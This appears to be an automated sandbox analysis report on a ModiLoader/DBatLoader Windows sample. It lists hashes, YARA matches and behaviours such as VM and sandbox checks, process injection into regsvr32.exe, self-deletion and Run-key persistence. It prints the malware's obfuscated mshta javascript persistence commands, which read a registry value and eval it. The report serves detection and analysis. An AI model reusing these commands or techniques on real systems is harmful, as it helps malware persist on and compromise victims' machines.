Analysis
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max time kernel
150s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20240419-en -
resource tags
arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system -
submitted
04-05-2024 16:47
Static task
static1
Behavioral task
behavioral1
Sample
139e45cefa3527737d5406de8f6ad1b9_JaffaCakes118.exe
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
139e45cefa3527737d5406de8f6ad1b9_JaffaCakes118.exe
Resource
win10v2004-20240419-en
General
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Target
139e45cefa3527737d5406de8f6ad1b9_JaffaCakes118.exe
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Size
381KB
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MD5
139e45cefa3527737d5406de8f6ad1b9
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SHA1
24f1c6025fd7bc6121fa1eecda5b38ebc8c92d53
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SHA256
cc232b7d5ea2d598601667fa91ac6d37097a33da86d1cb5ed97bb0bfc0e0ba39
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SHA512
c8d8476b332c92045fcbfdda2842fead425aecc76c7c2b49efbf8e5529caacea19ec7b9ddc358df37f3534395505103cf90145d93d0afe56fa4d04b382adf652
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SSDEEP
6144:w4UiyEhomq+UAmdaqzsMbjIFdUpTxaVyTdc7HWggRqd/2ZUYaPw:w4ZJoB+MdhzsbkvaVs9n6Xw
Malware Config
Signatures
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ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
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Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
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Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
Processes:
regsvr32.exedescription ioc process Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Oracle\VirtualBox Guest Additions regsvr32.exe -
ModiLoader Second Stage 38 IoCs
Processes:
resource yara_rule behavioral2/memory/3328-3-0x0000000000400000-0x0000000000464000-memory.dmp modiloader_stage2 behavioral2/memory/3328-5-0x0000000002870000-0x000000000293C000-memory.dmp modiloader_stage2 behavioral2/memory/3328-9-0x0000000002870000-0x000000000293C000-memory.dmp modiloader_stage2 behavioral2/memory/3328-8-0x0000000002870000-0x000000000293C000-memory.dmp modiloader_stage2 behavioral2/memory/3328-7-0x0000000002870000-0x000000000293C000-memory.dmp modiloader_stage2 behavioral2/memory/3328-6-0x0000000002870000-0x000000000293C000-memory.dmp modiloader_stage2 behavioral2/memory/3328-11-0x0000000002870000-0x000000000293C000-memory.dmp modiloader_stage2 behavioral2/memory/3328-16-0x0000000000400000-0x0000000000464000-memory.dmp modiloader_stage2 behavioral2/memory/2400-21-0x0000000000800000-0x00000000008CC000-memory.dmp modiloader_stage2 behavioral2/memory/2400-23-0x0000000000800000-0x00000000008CC000-memory.dmp modiloader_stage2 behavioral2/memory/2400-25-0x0000000000800000-0x00000000008CC000-memory.dmp modiloader_stage2 behavioral2/memory/2400-24-0x0000000000800000-0x00000000008CC000-memory.dmp modiloader_stage2 behavioral2/memory/2400-22-0x0000000000800000-0x00000000008CC000-memory.dmp modiloader_stage2 behavioral2/memory/2400-26-0x0000000000800000-0x00000000008CC000-memory.dmp modiloader_stage2 behavioral2/memory/3584-37-0x0000000000D00000-0x0000000000DCC000-memory.dmp modiloader_stage2 behavioral2/memory/3584-38-0x0000000000D00000-0x0000000000DCC000-memory.dmp modiloader_stage2 behavioral2/memory/3584-42-0x0000000000D00000-0x0000000000DCC000-memory.dmp modiloader_stage2 behavioral2/memory/3584-41-0x0000000000D00000-0x0000000000DCC000-memory.dmp modiloader_stage2 behavioral2/memory/3584-39-0x0000000000D00000-0x0000000000DCC000-memory.dmp modiloader_stage2 behavioral2/memory/3584-40-0x0000000000D00000-0x0000000000DCC000-memory.dmp modiloader_stage2 behavioral2/memory/3584-43-0x0000000000D00000-0x0000000000DCC000-memory.dmp modiloader_stage2 behavioral2/memory/3584-47-0x0000000000D00000-0x0000000000DCC000-memory.dmp modiloader_stage2 behavioral2/memory/3584-48-0x0000000000D00000-0x0000000000DCC000-memory.dmp modiloader_stage2 behavioral2/memory/3584-46-0x0000000000D00000-0x0000000000DCC000-memory.dmp modiloader_stage2 behavioral2/memory/3584-50-0x0000000000D00000-0x0000000000DCC000-memory.dmp modiloader_stage2 behavioral2/memory/3584-51-0x0000000000D00000-0x0000000000DCC000-memory.dmp modiloader_stage2 behavioral2/memory/3584-45-0x0000000000D00000-0x0000000000DCC000-memory.dmp modiloader_stage2 behavioral2/memory/3584-44-0x0000000000D00000-0x0000000000DCC000-memory.dmp modiloader_stage2 behavioral2/memory/3584-49-0x0000000000D00000-0x0000000000DCC000-memory.dmp modiloader_stage2 behavioral2/memory/2080-56-0x0000000000E00000-0x0000000000ECC000-memory.dmp modiloader_stage2 behavioral2/memory/2080-57-0x0000000000E00000-0x0000000000ECC000-memory.dmp modiloader_stage2 behavioral2/memory/2080-61-0x0000000000E00000-0x0000000000ECC000-memory.dmp modiloader_stage2 behavioral2/memory/2080-60-0x0000000000E00000-0x0000000000ECC000-memory.dmp modiloader_stage2 behavioral2/memory/2080-58-0x0000000000E00000-0x0000000000ECC000-memory.dmp modiloader_stage2 behavioral2/memory/2080-59-0x0000000000E00000-0x0000000000ECC000-memory.dmp modiloader_stage2 behavioral2/memory/3584-62-0x0000000000D00000-0x0000000000DCC000-memory.dmp modiloader_stage2 behavioral2/memory/3584-63-0x0000000000D00000-0x0000000000DCC000-memory.dmp modiloader_stage2 behavioral2/memory/3192-68-0x0000000000A00000-0x0000000000ACC000-memory.dmp modiloader_stage2 -
Adds policy Run key to start application 2 TTPs 2 IoCs
Processes:
regsvr32.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ = "mshta javascript:tVP1jMmp=\"oY2ywkwKF0\";O5j5=new%20ActiveXObject(\"WScript.Shell\");s6RGMg6lo=\"LTX\";wmER7=O5j5.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\445f9b850c\\\\f71cd2f3\");KrJij5YXy=\"Ryw1U\";eval(wmER7);jZ73ptof=\"CapQ\";" regsvr32.exe -
Looks for VMWare Tools registry key 2 TTPs 1 IoCs
Processes:
regsvr32.exedescription ioc process Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\VMware, Inc.\VMware Tools regsvr32.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
regsvr32.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion regsvr32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion regsvr32.exe -
Deletes itself 1 IoCs
Processes:
regsvr32.exepid process 3584 regsvr32.exe -
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
regsvr32.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:brzq0COCi=\"IXrxO3\";p81r=new%20ActiveXObject(\"WScript.Shell\");ieL6geGpv=\"WTI6\";m2T4aB=p81r.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\445f9b850c\\\\f71cd2f3\");c5zagSH=\"U\";eval(m2T4aB);z9fni3ar=\"6ZQq9F\";" regsvr32.exe Set value (str) \REGISTRY\USER\S-1-5-21-877519540-908060166-1852957295-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:WC33VGYXxs=\"LnmxQbC\";LE28=new%20ActiveXObject(\"WScript.Shell\");cNDm9jUr=\"Ww0aoynGHQ\";T3FBn=LE28.RegRead(\"HKCU\\\\software\\\\445f9b850c\\\\f71cd2f3\");xHn1aOf=\"c2YOtYUMME\";eval(T3FBn);A9FAAspNq=\"zHOWBy\";" regsvr32.exe -
Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
Processes:
regsvr32.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum regsvr32.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0 regsvr32.exe -
Processes:
regsvr32.exedescription ioc process Set value (int) \REGISTRY\USER\S-1-5-21-877519540-908060166-1852957295-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0" regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION regsvr32.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\regsvr32.exe = "0" regsvr32.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0" regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-877519540-908060166-1852957295-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-877519540-908060166-1852957295-1000\SOFTWARE\Microsoft\Internet Explorer\International regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-877519540-908060166-1852957295-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION regsvr32.exe Set value (int) \REGISTRY\USER\S-1-5-21-877519540-908060166-1852957295-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\regsvr32.exe = "0" regsvr32.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
regsvr32.exepid process 3584 regsvr32.exe 3584 regsvr32.exe 3584 regsvr32.exe 3584 regsvr32.exe 3584 regsvr32.exe 3584 regsvr32.exe 3584 regsvr32.exe 3584 regsvr32.exe 3584 regsvr32.exe 3584 regsvr32.exe 3584 regsvr32.exe 3584 regsvr32.exe 3584 regsvr32.exe 3584 regsvr32.exe 3584 regsvr32.exe 3584 regsvr32.exe 3584 regsvr32.exe 3584 regsvr32.exe 3584 regsvr32.exe 3584 regsvr32.exe 3584 regsvr32.exe 3584 regsvr32.exe 3584 regsvr32.exe 3584 regsvr32.exe 3584 regsvr32.exe 3584 regsvr32.exe 3584 regsvr32.exe 3584 regsvr32.exe 3584 regsvr32.exe 3584 regsvr32.exe 3584 regsvr32.exe 3584 regsvr32.exe 3584 regsvr32.exe 3584 regsvr32.exe 3584 regsvr32.exe 3584 regsvr32.exe 3584 regsvr32.exe 3584 regsvr32.exe 3584 regsvr32.exe 3584 regsvr32.exe 3584 regsvr32.exe 3584 regsvr32.exe 3584 regsvr32.exe 3584 regsvr32.exe 3584 regsvr32.exe 3584 regsvr32.exe 3584 regsvr32.exe 3584 regsvr32.exe 3584 regsvr32.exe 3584 regsvr32.exe 3584 regsvr32.exe 3584 regsvr32.exe 3584 regsvr32.exe 3584 regsvr32.exe 3584 regsvr32.exe 3584 regsvr32.exe 3584 regsvr32.exe 3584 regsvr32.exe 3584 regsvr32.exe 3584 regsvr32.exe 3584 regsvr32.exe 3584 regsvr32.exe 3584 regsvr32.exe 3584 regsvr32.exe -
Suspicious behavior: MapViewOfSection 12 IoCs
Processes:
139e45cefa3527737d5406de8f6ad1b9_JaffaCakes118.exeregsvr32.exeregsvr32.exepid process 3328 139e45cefa3527737d5406de8f6ad1b9_JaffaCakes118.exe 3328 139e45cefa3527737d5406de8f6ad1b9_JaffaCakes118.exe 3328 139e45cefa3527737d5406de8f6ad1b9_JaffaCakes118.exe 2400 regsvr32.exe 2400 regsvr32.exe 2400 regsvr32.exe 3584 regsvr32.exe 3584 regsvr32.exe 3584 regsvr32.exe 3584 regsvr32.exe 3584 regsvr32.exe 3584 regsvr32.exe -
Suspicious use of WriteProcessMemory 12 IoCs
Processes:
139e45cefa3527737d5406de8f6ad1b9_JaffaCakes118.exeregsvr32.exeregsvr32.exedescription pid process target process PID 3328 wrote to memory of 2400 3328 139e45cefa3527737d5406de8f6ad1b9_JaffaCakes118.exe regsvr32.exe PID 3328 wrote to memory of 2400 3328 139e45cefa3527737d5406de8f6ad1b9_JaffaCakes118.exe regsvr32.exe PID 3328 wrote to memory of 2400 3328 139e45cefa3527737d5406de8f6ad1b9_JaffaCakes118.exe regsvr32.exe PID 2400 wrote to memory of 3584 2400 regsvr32.exe regsvr32.exe PID 2400 wrote to memory of 3584 2400 regsvr32.exe regsvr32.exe PID 2400 wrote to memory of 3584 2400 regsvr32.exe regsvr32.exe PID 3584 wrote to memory of 2080 3584 regsvr32.exe regsvr32.exe PID 3584 wrote to memory of 2080 3584 regsvr32.exe regsvr32.exe PID 3584 wrote to memory of 2080 3584 regsvr32.exe regsvr32.exe PID 3584 wrote to memory of 3192 3584 regsvr32.exe regsvr32.exe PID 3584 wrote to memory of 3192 3584 regsvr32.exe regsvr32.exe PID 3584 wrote to memory of 3192 3584 regsvr32.exe regsvr32.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\139e45cefa3527737d5406de8f6ad1b9_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\139e45cefa3527737d5406de8f6ad1b9_JaffaCakes118.exe"1⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:3328 -
C:\Windows\SysWOW64\regsvr32.exeregsvr32.exe2⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2400 -
C:\Windows\SysWOW64\regsvr32.exeregsvr32.exe3⤵
- Looks for VirtualBox Guest Additions in registry
- Adds policy Run key to start application
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Deletes itself
- Adds Run key to start application
- Maps connected drives based on registry
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:3584 -
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\SysWOW64\regsvr32.exe"4⤵PID:2080
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C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\SysWOW64\regsvr32.exe"4⤵PID:3192